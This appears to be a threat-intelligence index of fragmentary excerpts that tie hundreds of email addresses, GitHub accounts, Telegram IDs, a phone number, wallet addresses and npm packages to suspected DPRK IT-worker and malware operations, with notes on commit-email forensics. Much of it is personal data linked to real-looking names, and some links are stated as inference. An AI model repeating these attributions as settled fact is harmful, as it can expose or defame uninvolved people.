johnwoo829612@outlook.com johnwoo82921323@gmail.com johnjohnjohn829612@outlook.com johnjohnjohn829612@hotmail.com johnwooaugtwe@hotmail.com…","…spaceboy00 - topstack2021a - cryptospaceboy00@gmail.com - alexwork455@gmail.com - ananphoon823@gmail.com - andika.riyan@gmail.com - billyrowan1980@gmail.com - blockchainlover2019@gmail.com - maodan466@gmail.com - putnikdeveloperbg@gmail.com - spaceboy00@gmail.com -…","…ucky1030@gmail.com bigbenjamin1218@gmail.com bigmoon202@gmail.com bigrocks918geek@gmail.com bigsuccess1234@proton.me bigtail43118@gmail.com binarybeasts0130@outlook.com bio.star1001@gmail.com blackaigentle120+1@mailfence.com blackbear20412@gmail.com blackhoward0417@gmail.com blackknight.oct1@gmail.com black…","…n1218@gmail.com bigmoon202@gmail.com bigrocks918geek@gmail.com bigsuccess1234@proton.me bigtail43118@gmail.com binarybeasts0130@outlook.com bio.star1001@gmail.com blackaigentle120+1@mailfence.com blackbear20412@gmail.com blackhoward0417@gmail.com blackknight.oct1@gmail.com blackspider8391@gmail.com bl…","…0xlocker, Burndai, Derek Lee, Raptor, Raptor1001, burndai, ethlocker, unlocker - choi.link227@gmail.com: Ryan Choi - bitbaby888@gmail.com - mauro@blueberry.garden (blueChamel) - pwongexcal@gmail.com (0xchamel) - zhaoa4317@gmail.com (zhChameleon) - t.me/chamel92 (ID:…","…$2,774 - 2023-09-07 $5,498 #### Peculiar Joseph - Joseph D Alchemist - josephpeculiar - bizmindx - josephpeculiar.com - bizmindx@gmail.com - github.com/bizmindx #### Sam Ayorinde - TheBlockOfChain - ayorindesam2 - Sam-Devs - _SamAyorinde - ayorindesam2@gmail.com -…","…amelievolcanobquvq06786@hotmail.com avaazaleaanwvk05883@outlook.com b22993172@gmail.com bba719771@gmail.com bizownership018@gmail.com blakegonzalezeamuh10473@hotmail.com blaziystankw1lcf@hotmail.com bookcats1@freyaglam.shop borgdandeco@gmail.com…","A fourteen-post thread on the accounts that worked on Tokamak Network's bridge front end, marketplace and subgraph between November 2023 and February 2025, read as a single cell from the primary account's following list, commit-email forensics, renamed and deleted handles, and account-creation dates clustered within days of each other. Every value here is stated in the thread; post thirteen is the researcher's own address map for the cell. The second operator on the bridge front end, August 2024 to February 2025, whose GitHub account has since been deleted; the commits remain under this address. Post four describes a tool this account built and ran that harvested pending-transaction data from the Titan chain. The thread notes the handle fits a naming pattern the researcher sees across other DPRK accounts.","Found on 24 September 2026 by searching GitHub's commit index for every personal address this index transcribes from researchers' posts, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so the former handles below are a matter of record. Counts of an account's own commits are over the 100 that GitHub's search returns for it.\n\ngithub.com/vihsonic is account id 147780742, created on 13 October 2023. Its noreply addresses name the handles black02430horse and vihsonic, so it is github.com/black02430horse, which meow_mfer names and tayvano lists, renamed; black02430horse now returns not found. 91 of its 100 own commits are signed black02430horse@gmail.com.","…202@gmail.com bigrocks918geek@gmail.com bigsuccess1234@proton.me bigtail43118@gmail.com binarybeasts0130@outlook.com bio.star1001@gmail.com blackaigentle120+1@mailfence.com blackbear20412@gmail.com blackhoward0417@gmail.com blackknight.oct1@gmail.com blackspider8391@gmail.com blueapple9943@gmail.com bluebird012…","…il.com bigsuccess1234@proton.me bigtail43118@gmail.com binarybeasts0130@outlook.com bio.star1001@gmail.com blackaigentle120+1@mailfence.com blackbear20412@gmail.com blackhoward0417@gmail.com blackknight.oct1@gmail.com blackspider8391@gmail.com blueapple9943@gmail.com bluebird0125.lov@gmail.com bluebirdw…","…ton.me bigtail43118@gmail.com binarybeasts0130@outlook.com bio.star1001@gmail.com blackaigentle120+1@mailfence.com blackbear20412@gmail.com blackhoward0417@gmail.com blackknight.oct1@gmail.com blackspider8391@gmail.com blueapple9943@gmail.com bluebird0125.lov@gmail.com bluebirdwith929@gmail.com blueeye9u…","…com binarybeasts0130@outlook.com bio.star1001@gmail.com blackaigentle120+1@mailfence.com blackbear20412@gmail.com blackhoward0417@gmail.com blackknight.oct1@gmail.com blackspider8391@gmail.com blueapple9943@gmail.com bluebird0125.lov@gmail.com bluebirdwith929@gmail.com blueeye9u@gmail.com bluemoun1113@gma…","…4ympc9vo@greentim1086.anonaddy.com 5hrwbocw@greentim1086.anonaddy.com 74ywyfpd@greentim1086.anonaddy.com 8qdyihfd@codeninja819.anonaddy.com BlackMustang0430@outlook.com ChrisGraham1215@skiff.com DiamondDazzle@skiff.com FelixMorin1218@skiff.com Rivexavier085@gmail.com SECRETAGENT1025@GMAIL.COM ShinyBaros@out…","…k.com bio.star1001@gmail.com blackaigentle120+1@mailfence.com blackbear20412@gmail.com blackhoward0417@gmail.com blackknight.oct1@gmail.com blackspider8391@gmail.com blueapple9943@gmail.com bluebird0125.lov@gmail.com bluebirdwith929@gmail.com blueeye9u@gmail.com bluemoun1113@gmail.com bluep0415@gmail.com…","…myronenkoyaroslav4@gmail.com[email protected] savonik.alina00@gmail.com[email protected] blacktigerbusinesswork@outlook.com[email protected] nick2022lane@gmail.com[email protected] yellowstrawberrymilk@gmail.com[email protected]…","…ook.com proguardseo@gmail.com azduoedon@outlook.com supernova1111a@outlook.com myronenkoyaroslav4@gmail.com savonik.alina00@gmail.com blacktigerbusinesswork@outlook.com nick2022lane@gmail.com yellowstrawberrymilk@gmail.com…","…Year in Review seed1996010@outlook.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review blackwang104@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review kagan.hungri@gmail.com email malware N/A…","…avaazaleaanwvk05883@outlook.com b22993172@gmail.com bba719771@gmail.com bizownership018@gmail.com blakegonzalezeamuh10473@hotmail.com blaziystankw1lcf@hotmail.com bookcats1@freyaglam.shop borgdandeco@gmail.com brandonmistycqbcr06016@hotmail.com…","Read on 20 September 2026 by walking the commit history of every repository on github.com/coinyx, which this index already holds under the heading \"Values shared across the Teofilovic, Gaston and Davis listing\". Tallying the author line on every commit recovers the address the holder configured their git client with, which an account never has to state anywhere. henry74.super@gmail.com authored 5 commits on coinyx, commits as \"coinyx\"; blazebolt.dev@gmail.com authored 2 commits on coinyx, commits as \"coinyx\". Each is admitted because it commits under a name the account itself uses, the test that separates the holder's own address from the original author of a repository copied in. No persona is attached, because the accounts these were read from carry none: the reporting grouped them without naming an operator, and recovering an address does not supply the name it declined to give.","…email insider N/A N/A Synthetic persona email 2 bogomildaskalov001@outlook.com email insider N/A N/A Synthetic persona email 2 blazhejovanovska@gmail.com email insider N/A N/A Synthetic persona email 2 sarloevtim39@gmail.com email insider N/A N/A Synthetic persona email 2…","…om johnwoo82921323@gmail.com johnjohnjohn829612@outlook.com johnjohnjohn829612@hotmail.com johnwooaugtwe@hotmail.com andon211bala@yahoo.com blazhenov525@gmail.com annaparova989@outlook.com joanahillora843@outlook.com makdanger11220@outlook.com makdanger3434@outlook.com maksim1029lv@outlook.com maksimb…","…b22993172@gmail.com bba719771@gmail.com bizownership018@gmail.com blakegonzalezeamuh10473@hotmail.com blaziystankw1lcf@hotmail.com bookcats1@freyaglam.shop borgdandeco@gmail.com brandonmistycqbcr06016@hotmail.com brightfuturescompany08462@outlook.com…","…email insider N/A N/A Threat actor persona email 4 dveretenov@gmail.com email insider N/A N/A Threat actor persona email 4 blbnlambert34@gmail.com email insider N/A N/A Threat actor persona email 4 tezauidev@gmail.com email insider N/A N/A Threat actor persona email 4…","…2026-08-12 prediction-trader (2.3.0) 2026-08-12 blessedredder <blessedredder@gmail.com> cloudflare.com fastly.net keyIcon.com akamai.net cloudfront.net gcorelabs.com…","…davidsuzuki51@gmail.com - toptalent48@gmail.com - alexstepan0209@gmail.com - kkopbusiness1213@gmail.com - blockchain4webdev@gmail.com - HighleyHilmaU@gmail.com - yemelyan.yevdokimov.domain1121@gmail.com - qiqq-ps@eclipso.eu - illia.butenko89@gmail.com -…","…mail.com thomasanderson19960313@gmail.com davidsuzuki51@gmail.com toptalent48@gmail.com alexstepan0209@gmail.com kkopbusiness1213@gmail.com blockchain4webdev@gmail.com HighleyHilmaU@gmail.com yemelyan.yevdokimov.domain1121@gmail.com qiqq-ps@eclipso.eu illia.butenko89@gmail.com ddksniper@gmail.com intellich…","…garciav.dev@gmail.com dragonfighter0115@outlook.com fullstackdev1006@gmail.com blockchaindev0227@gmail.com sotaro.yoshimoto@gmail.com super.dev1124@outlook.com justin309w@outlook.com proguardseo@gmail.com azduoedon@outlook.com supernova1111…","…ivan.dimov.work@gmail.com - ivandimov921016@outlook.com #### Yamamoto Zirou - yamamotoziro.0113@gmail.com - yamamotoziro.0113 - blockchaindeveloper777@gmail.com #### Lucas Steve Moore #### Misc - never08mind25@gmail.com - github.com/neverm25 - denisleedragon@outlook.com - densyaou@gmail.com -…","…johnmichael0325@outlook.com JohnMichaelMillen0325@outlook.com never08mind25@gmail.com seo.sigoto@gmail.com sunmoonstar0319@outlook.com blockchaindeveloper777@gmail.com seo.shigoto.001@gmail.com ivan.dimov.work@gmail.com kazune.takeda@yahoo.com densyaou@gmail.com zombie.eye.dev@gmail.com stevechendragon@gma…","…cryptospaceboy00@gmail.com - alexwork455@gmail.com - ananphoon823@gmail.com - andika.riyan@gmail.com - billyrowan1980@gmail.com - blockchainlover2019@gmail.com - maodan466@gmail.com - putnikdeveloperbg@gmail.com - spaceboy00@gmail.com - topstack2021a@gmail.com - 0xquantech - t.me/MaoDan007…","…Alexandru-Gabriel Dumitras - Has Indian facilitators - +7 906 832 7335 - blockchain41673 - blockchainstar18@gmail.com - x.com/blockchain41673/ - t.me/bcstar18 (ID: 5915387318) • [Messages](./user-5915387318-@bcstar18.txt) - 188.43.235.177 Mar 2022 -…","…com justin424w@gmail.com satoshi.fukuzumi309@gmail.com martinjosipovic17@gmail.com venturewell@gmail.com satoshi.fukuzumi47@gmail.com blocklimax@gmail.com dcnc336@gmail.com myronenkoyaroslav4@gmail.com avoroy@biztechadvisors.com katelevsk@gmail.com savonik.alina00@gmail.com purplestrawbe…","…account Year in Review dredsoft@proton.me email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review bloxdev1999@outlook.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review star712418@gmail.com email malware N/A July 2025…","…yellowstrawberrymilk@gmail.com[email protected] autumnhappyfamily@gmail.com[email protected] blue621dream@gmail.com[email protected] james.jenaty031@gmail.com[email protected] quangtu676957e1525ncz@hotmail.com[email protected]…","…autumnhappyfamily@gmail.com blue621dream@gmail.com james.jenaty031@gmail.com quangtu676957e1525ncz@hotmail.com danhphoze_2364@hotmail.com hangquan5594sxbf72@hotmail.com mahamaslam805@gm…","…Codes with Username like Blue and Gold in the Email Addresses spotted such as goldlion0819@gmail.com , goldrabbit214@gmail.com , blueapple9943@gmail.com , bluebird0125.lov@gmail.com etc. Usage of terms like “ Dev ” with many combinations like enthusiastdev, uri.dev, cocodev, dreamdev, etc .…","…like Blue and Gold in the Email Addresses spotted such as goldlion0819@gmail.com , goldrabbit214@gmail.com , blueapple9943@gmail.com , bluebird0125.lov@gmail.com etc. Usage of terms like “ Dev ” with many combinations like enthusiastdev, uri.dev, cocodev, dreamdev, etc .…","Published on 17 May 2025 in a thread the researcher opened with \"Lets play a profile picture game! Here are a few fun DPRK ITW/remote worker profile pics and their associated emails.\" Each post in it pairs one address with the profile photograph used alongside it. This entry is one such post: the address bluebirdwith929@gmail.com and the picture below it. The photograph is mirrored here because these posts are the only published record of the face an operator presented, and the accounts they came from are routinely deleted. It is not evidence of who operates the address: a profile picture in this dataset is as likely to be generated, stock, or taken from an uninvolved person. The researcher gives no name, and the address does not read as one, so the page is filed under the address’s own local part rather than under a name invented for it.","…gmail.com blackhoward0417@gmail.com blackknight.oct1@gmail.com blackspider8391@gmail.com blueapple9943@gmail.com bluebird0125.lov@gmail.com bluebirdwith929@gmail.com blueeye9u@gmail.com bluemoun1113@gmail.com bluep0415@gmail.com bluesky000624@gmail.com bluesky02050@gmail.com bluesoft.alan@gmail.com bnyky…","github.com/bluedream74 is indexed from Heiner García's Wagemole article and now returns 404. The address bluedream7004@gmail.com carries 3,102 commits in GitHub's search, and GitHub credits them to github.com/dragonV22 (account id 137847214, created 27 June 2023); a sample of 100 commits authored under the name bluedream74 are all credited to dragonV22 as well. A git client writes the author name from local configuration, so an account still committing as bluedream74 is most likely the same holder, renamed or moved to a second account. That is an inference: no noreply address built from the account id under the old name was found, and the archived profile could not be retrieved on the day.\n\nThe account's follow graph points the same way. It follows or is followed by seven accounts this index already holds as operators (superdev947, techwizard210, livedeveloper823, DevHawkNov, Lucky9596, 0xp3p3x0 and skycaptainess), where a control sample of 60 ordinary accounts created 2022 to 2024 averaged 0.5 such ties and never exceeded four.\n\nTwo other repositories carry the address, struggle-Strug/smart_sms_1 and honeststack/customer_management_system_backend. Their owners and other contributors are not carried: shared commits alone do not separate an operator's collaborator from a client or employer, and one of them includes a corporate developer's commits.","…gmail.com blackknight.oct1@gmail.com blackspider8391@gmail.com blueapple9943@gmail.com bluebird0125.lov@gmail.com bluebirdwith929@gmail.com blueeye9u@gmail.com bluemoun1113@gmail.com bluep0415@gmail.com bluesky000624@gmail.com bluesky02050@gmail.com bluesoft.alan@gmail.com bnykyfor@gmail.com bobieh…","…t.oct1@gmail.com blackspider8391@gmail.com blueapple9943@gmail.com bluebird0125.lov@gmail.com bluebirdwith929@gmail.com blueeye9u@gmail.com bluemoun1113@gmail.com bluep0415@gmail.com bluesky000624@gmail.com bluesky02050@gmail.com bluesoft.alan@gmail.com bnykyfor@gmail.com bobiehornung77654@gmail.com b…","…pider8391@gmail.com blueapple9943@gmail.com bluebird0125.lov@gmail.com bluebirdwith929@gmail.com blueeye9u@gmail.com bluemoun1113@gmail.com bluep0415@gmail.com bluesky000624@gmail.com bluesky02050@gmail.com bluesoft.alan@gmail.com bnykyfor@gmail.com bobiehornung77654@gmail.com bogdan.iordache.dev@g…","…• [Archive](https://web.archive.org/web/20250827055032/https://github.com/imyugioh) - github.com/raptor1001 - github.com/zhChameleon - blueraptor1001@gmail.com: 0xlocker, Burndai, Derek Lee, Raptor, Raptor1001, burndai, ethlocker, unlocker - choi.link227@gmail.com: Ryan Choi -…","…blueapple9943@gmail.com bluebird0125.lov@gmail.com bluebirdwith929@gmail.com blueeye9u@gmail.com bluemoun1113@gmail.com bluep0415@gmail.com bluesky000624@gmail.com bluesky02050@gmail.com bluesoft.alan@gmail.com bnykyfor@gmail.com bobiehornung77654@gmail.com bogdan.iordache.dev@gmail.com bogdanprivet202…","…bluebird0125.lov@gmail.com bluebirdwith929@gmail.com blueeye9u@gmail.com bluemoun1113@gmail.com bluep0415@gmail.com bluesky000624@gmail.com bluesky02050@gmail.com bluesoft.alan@gmail.com bnykyfor@gmail.com bobiehornung77654@gmail.com bogdan.iordache.dev@gmail.com bogdanprivet2025@gmail.com bogedox253@…","…com bluebirdwith929@gmail.com blueeye9u@gmail.com bluemoun1113@gmail.com bluep0415@gmail.com bluesky000624@gmail.com bluesky02050@gmail.com bluesoft.alan@gmail.com bnykyfor@gmail.com bobiehornung77654@gmail.com bogdan.iordache.dev@gmail.com bogdanprivet2025@gmail.com bogedox253@jthoven.com brandtongs@g…","…avoroy@biztechadvisors.com katelevsk@gmail.com savonik.alina00@gmail.com purplestrawberrymilk@gmail.com yellowstrawberrymilk@gmail.com bluestrawberrymilk1025@gmail.com pinkstrawberrymilk1025@gmail.com luis.gamez1004@gmail.com cliff.luo226@gmail.com semochkomaksym@gmail.com sun.james1025@gmail.com coo…","…Email Indicators aaron.groenke111391@gmail.com aaron.groenke111391@outlook.com afteryou725@gmail.com aim1005achieve@gmail.com Bluxboy80@gmail.com bremaster0806@gmail.com bruno.jackson.dev@gmail.com caddo.caleb229@gmail.com caddo.smith0229@gmail.com chase.allen.tech@gmail.com cli…","…l.com blueeye9u@gmail.com bluemoun1113@gmail.com bluep0415@gmail.com bluesky000624@gmail.com bluesky02050@gmail.com bluesoft.alan@gmail.com bnykyfor@gmail.com bobiehornung77654@gmail.com bogdan.iordache.dev@gmail.com bogdanprivet2025@gmail.com bogedox253@jthoven.com brandtongs@gmail.com brankovica…","…629@gmail.com guzmandelfino1992@gmail.com codelover111@gmail.com alexnikolaos007@gmail.com botofprince@gmail.com jaggiusman@gmail.com boava94722@gmail.com rabbitking0130@gmail.com bengrantsoft@gmail.com sotaro.yoshimoto@gmail.com proguardseo@gmail.com justin424w@gmail.com satoshi.fukuzum…","…il.com bluemoun1113@gmail.com bluep0415@gmail.com bluesky000624@gmail.com bluesky02050@gmail.com bluesoft.alan@gmail.com bnykyfor@gmail.com bobiehornung77654@gmail.com bogdan.iordache.dev@gmail.com bogdanprivet2025@gmail.com bogedox253@jthoven.com brandtongs@gmail.com brankovical98@gmail.com breadheaddev31…","…email insider N/A N/A Synthetic persona email 2 simeondimitris001@gmail.com email insider N/A N/A Synthetic persona email 2 bobituntev001@outlook.com email insider N/A N/A Synthetic persona email 2 velyokazepov@gmail.com email insider N/A N/A Synthetic persona email 2…","…email insider N/A N/A Synthetic persona email 2 borissudar.cro@outlook.com email insider N/A N/A Synthetic persona email 2 bodorbenci@gmail.com email insider N/A N/A Synthetic persona email 2 ivoloucky@gmail.com email insider N/A N/A Synthetic persona email 2…","…m bluep0415@gmail.com bluesky000624@gmail.com bluesky02050@gmail.com bluesoft.alan@gmail.com bnykyfor@gmail.com bobiehornung77654@gmail.com bogdan.iordache.dev@gmail.com bogdanprivet2025@gmail.com bogedox253@jthoven.com brandtongs@gmail.com brankovical98@gmail.com breadheaddev313@gmail.com brianlueaon0922@ou…","…00624@gmail.com bluesky02050@gmail.com bluesoft.alan@gmail.com bnykyfor@gmail.com bobiehornung77654@gmail.com bogdan.iordache.dev@gmail.com bogdanprivet2025@gmail.com bogedox253@jthoven.com brandtongs@gmail.com brankovical98@gmail.com breadheaddev313@gmail.com brianlueaon0922@outlook.com brianlueaon0926@g…","…0@gmail.com bluesoft.alan@gmail.com bnykyfor@gmail.com bobiehornung77654@gmail.com bogdan.iordache.dev@gmail.com bogdanprivet2025@gmail.com bogedox253@jthoven.com brandtongs@gmail.com brankovical98@gmail.com breadheaddev313@gmail.com brianlueaon0922@outlook.com brianlueaon0926@gmail.com bridleland@gma…","…insider N/A N/A Mobile number of China-based cell member 1 tinsimonov@outlook.com email insider N/A N/A Synthetic persona email 2 bogomildaskalov001@outlook.com email insider N/A N/A Synthetic persona email 2 blazhejovanovska@gmail.com email insider N/A N/A Synthetic persona email 2…","…westfieldhomeagent66414@gmail.com yorktownhomesales08111@gmail.com yuleyuccaxoiqw85368@outlook.com bohdanstashkiv.bs@outlook.com brimstoneinkwellwugke88241@outlook.com edisonrippin@outlook.com erbanfceraswud8px@hotmail.com JonathonF1010@outlook.com…","…malware developer accounts Year in Review supernftier@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review bohuslavskyir@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review artizjusz11@gmail.com email malware N/A N/A DPRK malware developer…","…Finance (2023-2024), Blueberry, Pickle Finance, Harmony Wallet - Overlaps with: Jason Kown, 0xm00neth, Daiki Saito, Malkevych Bohdan bomalkevych@gmail.com, Jamshed Latipov jamshedlatipov@gmail.com - 0xchamel - 0xllaCh - blueChamel - chamel92 - daiki-iu - Gornutz - lmauro77 - mauroh.perk -…","…bba719771@gmail.com bizownership018@gmail.com blakegonzalezeamuh10473@hotmail.com blaziystankw1lcf@hotmail.com bookcats1@freyaglam.shop borgdandeco@gmail.com brandonmistycqbcr06016@hotmail.com brightfuturescompany08462@outlook.com bryceprojects78322@hotmail.com…","…bizownership018@gmail.com blakegonzalezeamuh10473@hotmail.com blaziystankw1lcf@hotmail.com bookcats1@freyaglam.shop borgdandeco@gmail.com brandonmistycqbcr06016@hotmail.com brightfuturescompany08462@outlook.com bryceprojects78322@hotmail.com…","…chai-as-type 2026-04-06 graph first seen hello@jsonspack.com chai-beta 2026-03-25 live registry borire8128@jsncos.com chai-chain-coremesh 2026-03-26 graph first seen hello@jsonspack.com chai-extensions-extras 2026-04-06 live…","…( chai-use-chain ), wovon16983@marvetos.com ( trackora-chain , trackora-node ), mexowoj971@izkat.com ( chai-str ), borire8128@jsncos.com ( chai-beta ), and jghff@smartretireway.com ( lockedin-chai-chain ) are all attributed to DPRK by the kmsec feed The disposable email…","…email insider N/A N/A Synthetic persona email 2 randoviska@gmail.com email insider N/A N/A Synthetic persona email 2 borislavbabic431@gmail.com email insider N/A N/A Synthetic persona email 2 benicdominik81@gmail.com email insider N/A N/A Synthetic persona email 2…","…email insider N/A N/A Synthetic persona email 2 kolyotroske001@outlook.com email insider N/A N/A Synthetic persona email 2 borissudar.cro@outlook.com email insider N/A N/A Synthetic persona email 2 bodorbenci@gmail.com email insider N/A N/A Synthetic persona email 2…","…artfox1203@gmail.com codeknight0707@gmail.com seniordev9726@outlook.com anydev1103@gmail.com fulldev114@outlook.com masterdev1027@gmail.com boriszhang1021@gmail.com topdev1228@protonmail.com hasan.musaj312@protonmail.com toshyodev@outlook.com slark0704@gmail.com helios9116@outlook.com cleanlake412@hotma…","…smartfox1203@gmail.com - codeknight0707@gmail.com - seniordev9726@outlook.com - anydev1103@gmail.com - fulldev114@outlook.com - boriszhang1021@gmail.com - topdev1228@protonmail.com - hasan.musaj312@protonmail.com - toshyodev@outlook.com - slark0704@gmail.com - helios9116@outlook.com -…","…email insider N/A N/A Synthetic persona email 2 valentincinika@outlook.com email insider N/A N/A Synthetic persona email 2 bosevskibale6@gmail.com email insider N/A N/A Synthetic persona email 2 vlanosdimitri001@outlook.com email insider N/A N/A Synthetic persona email 2…","…com scott.brown0629@gmail.com scott.brown00629@gmail.com guzmandelfino1992@gmail.com codelover111@gmail.com alexnikolaos007@gmail.com botofprince@gmail.com jaggiusman@gmail.com boava94722@gmail.com rabbitking0130@gmail.com bengrantsoft@gmail.com sotaro.yoshimoto@gmail.com proguardseo@gmai…","The post lists these together as one operator's accounts without naming the operator. It also names GitHub CryptoDev9975 as already returning 404, and Slack workspaces dahai-workspace and johnsteam-xun7742, for which there is no extractor.","…email insider N/A N/A Threat actor-controlled email 1 awmango123@gmail.com email insider N/A N/A Threat actor-controlled email 1 bowavelink@163.com email insider N/A N/A Threat actor-controlled email 1 cpduran0622@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…7e6fb265ff2dc482d050c347751d71b672b187d95ee2d6d567e73ca78d4fedac 2026-09-16 swnwall (1.2.10) 2026-09-16 swnwall <boyemo3885@airychen.com> api.npoint.io https://api.npoint.io/641d37178a880b1e8b8f 98602aca3efb91d6f77d4f3d0283681f1a954821885259b70127a66eb34fa7e4…","…blakegonzalezeamuh10473@hotmail.com blaziystankw1lcf@hotmail.com bookcats1@freyaglam.shop borgdandeco@gmail.com brandonmistycqbcr06016@hotmail.com brightfuturescompany08462@outlook.com bryceprojects78322@hotmail.com btwininvest02417@hotmail.com…","…an@gmail.com bnykyfor@gmail.com bobiehornung77654@gmail.com bogdan.iordache.dev@gmail.com bogdanprivet2025@gmail.com bogedox253@jthoven.com brandtongs@gmail.com brankovical98@gmail.com breadheaddev313@gmail.com brianlueaon0922@outlook.com brianlueaon0926@gmail.com bridleland@gmail.com brightfuture.a…","…email insider N/A N/A Git mirror developer identity 2 smupyknight@outlook.com email insider N/A N/A Git mirror developer identity 2 brankojovovic99@gmail.com email insider N/A N/A Administrative/testing accounts on abused services 2 manuetuazon.work@gmail.com email insider N/A N/A…","…@gmail.com bobiehornung77654@gmail.com bogdan.iordache.dev@gmail.com bogdanprivet2025@gmail.com bogedox253@jthoven.com brandtongs@gmail.com brankovical98@gmail.com breadheaddev313@gmail.com brianlueaon0922@outlook.com brianlueaon0926@gmail.com bridleland@gmail.com brightfuture.albina@gmail.com brightfu…","…James Lee - Claimed Hong Kong - Has Citibank - jamie088 - brchwork - jameslee - https://github.com/jamie088 - brchwork@gmail.com - t.me/jamie088 - 0x8F5eBDdcf2bae86D3A4E3C4De427E705d2eBF432 - 0x642F68586E0DeBe358B0C65feF81B1A9498d6477 -…","…7654@gmail.com bogdan.iordache.dev@gmail.com bogdanprivet2025@gmail.com bogedox253@jthoven.com brandtongs@gmail.com brankovical98@gmail.com breadheaddev313@gmail.com brianlueaon0922@outlook.com brianlueaon0926@gmail.com bridleland@gmail.com brightfuture.albina@gmail.com brightfuture1993113@gmail.com brig…","…aaron.groenke111391@gmail.com aaron.groenke111391@outlook.com afteryou725@gmail.com aim1005achieve@gmail.com Bluxboy80@gmail.com bremaster0806@gmail.com bruno.jackson.dev@gmail.com caddo.caleb229@gmail.com caddo.smith0229@gmail.com chase.allen.tech@gmail.com cliffahleongtech@gmail.com…","…Iwanski) - Brent Jeremy - Marcin Iwanski - Liguo Ma - Pirachat Chaiwongrote - promseislaw@gmail.com - smartdevpro001@gmail.com - brentjeremynel@gmail.com - onetouch0525@gmail.com - kevinlee2821@gmail.com - leondragandevelop@gmail.com - eric2022412@gmail.com - ma.liguo@outlook.com -…","…smartdevpro001@gmail.com[email protected] brentjeremynel@gmail.com[email protected] onetouch0525@gmail.com[email protected] kevinlee2821@gmail.com[email protected]…","…(Marcin Iwanski): --------------------------------------------- Emails: promseislaw@gmail.com smartdevpro001@gmail.com brentjeremynel@gmail.com onetouch0525@gmail.com kevinlee2821@gmail.com leondragandevelop@gmail.com eric2022412@gmail.com ma.liguo@outlook.com donatelo212dunccine@gm…","…liuqimi21@gmail.com alex@bellsstudio.site libfredrick@gmail.com michaeldein243@gmail.com josephdgray211@hotmail.com marogus211@outlook.com briandwingo55@yahoo.com silverbeach613@gmail.com wilsonliuq2111@outlook.com munjin22@gmail.com guangheli211@gmail.com wilsondovi21@gmail.com asemenovboyarka@gmail.…","…email insider N/A N/A Synthetic persona email 2 chrisgergo00@outlook.com email insider N/A N/A Synthetic persona email 2 briangaida12@outlook.com email insider N/A N/A Synthetic persona email 2 wiktor.rogal@outlook.com email insider N/A N/A Synthetic persona email 2…","…ache.dev@gmail.com bogdanprivet2025@gmail.com bogedox253@jthoven.com brandtongs@gmail.com brankovical98@gmail.com breadheaddev313@gmail.com brianlueaon0922@outlook.com brianlueaon0926@gmail.com bridleland@gmail.com brightfuture.albina@gmail.com brightfuture1993113@gmail.com brightmoonone93727@gmail.com bri…","…vet2025@gmail.com bogedox253@jthoven.com brandtongs@gmail.com brankovical98@gmail.com breadheaddev313@gmail.com brianlueaon0922@outlook.com brianlueaon0926@gmail.com bridleland@gmail.com brightfuture.albina@gmail.com brightfuture1993113@gmail.com brightmoonone93727@gmail.com brightmoonone961031@gmail.com…","…aylin_fintech@hotmail.com behrad.daniel@outlook.com bellyache@alightmotion.id bob.berg.business@gmail.com briansanders0126@gmail.com bryankoh64@outlook.com bryanlee604@outlook.com butleralvin510@outlook.com carolina32123@hotmail.com…","…insider N/A N/A Threat actor persona phone number 3 brianyoung.luck@gmail.com email insider N/A N/A Threat actor persona email 4 brianyoung0203@gmail.com email insider N/A N/A Threat actor persona email 4 codingwork.dev@gmail.com email insider N/A N/A Threat actor persona email 4…","…email insider N/A N/A Threat actor persona email 4 Wei861420@gmail.com email insider N/A N/A Threat actor persona email 4 brianyoung0203@outlook.com email insider N/A N/A Threat actor persona email 4 david@heyadev.com email insider N/A N/A Threat actor persona email 4…","…email insider N/A N/A Threat actor persona email 3 4696382784 phone number insider N/A N/A Threat actor persona phone number 3 brianyoung.luck@gmail.com email insider N/A N/A Threat actor persona email 4 brianyoung0203@gmail.com email insider N/A N/A Threat actor persona email 4…","…email insider N/A N/A Threat actor persona email 4 igorslobodyan508@gmail.com email insider N/A N/A Threat actor persona email 4 brianyoung.lucky@gmail.com email insider N/A N/A Threat actor persona email 4 valerykrapiv@gmail.com email insider N/A N/A Threat actor persona email 4…","…53@jthoven.com brandtongs@gmail.com brankovical98@gmail.com breadheaddev313@gmail.com brianlueaon0922@outlook.com brianlueaon0926@gmail.com bridleland@gmail.com brightfuture.albina@gmail.com brightfuture1993113@gmail.com brightmoonone93727@gmail.com brightmoonone961031@gmail.com brilight.shiner@gmai…","…mail.com breadheaddev313@gmail.com brianlueaon0922@outlook.com brianlueaon0926@gmail.com bridleland@gmail.com brightfuture.albina@gmail.com brightfuture1993113@gmail.com brightmoonone93727@gmail.com brightmoonone961031@gmail.com brilight.shiner@gmail.com brilliantsunlight1109@gmail.com brodan.eryx@minofangle…","…ongs@gmail.com brankovical98@gmail.com breadheaddev313@gmail.com brianlueaon0922@outlook.com brianlueaon0926@gmail.com bridleland@gmail.com brightfuture.albina@gmail.com brightfuture1993113@gmail.com brightmoonone93727@gmail.com brightmoonone961031@gmail.com brilight.shiner@gmail.com brilliantsunlight1109@gm…","…blaziystankw1lcf@hotmail.com bookcats1@freyaglam.shop borgdandeco@gmail.com brandonmistycqbcr06016@hotmail.com brightfuturescompany08462@outlook.com bryceprojects78322@hotmail.com btwininvest02417@hotmail.com bzuinvestorsclub82574@hotmail.com charlieaffiliates22177@gmail.com…","….com brianlueaon0922@outlook.com brianlueaon0926@gmail.com bridleland@gmail.com brightfuture.albina@gmail.com brightfuture1993113@gmail.com brightmoonone93727@gmail.com brightmoonone961031@gmail.com brilight.shiner@gmail.com brilliantsunlight1109@gmail.com brodan.eryx@minofangle.org bscmul0914@gmail.com bun…","…com brianlueaon0926@gmail.com bridleland@gmail.com brightfuture.albina@gmail.com brightfuture1993113@gmail.com brightmoonone93727@gmail.com brightmoonone961031@gmail.com brilight.shiner@gmail.com brilliantsunlight1109@gmail.com brodan.eryx@minofangle.org bscmul0914@gmail.com bungwu2021@gmail.com byronandresr…","Read on 24 September 2026. Heiner García's article on the SuperStar Campaign, transcribed in x-dossiers.json, describes the GitHub organisation Finalgoal231 as a coordination point whose eighteen 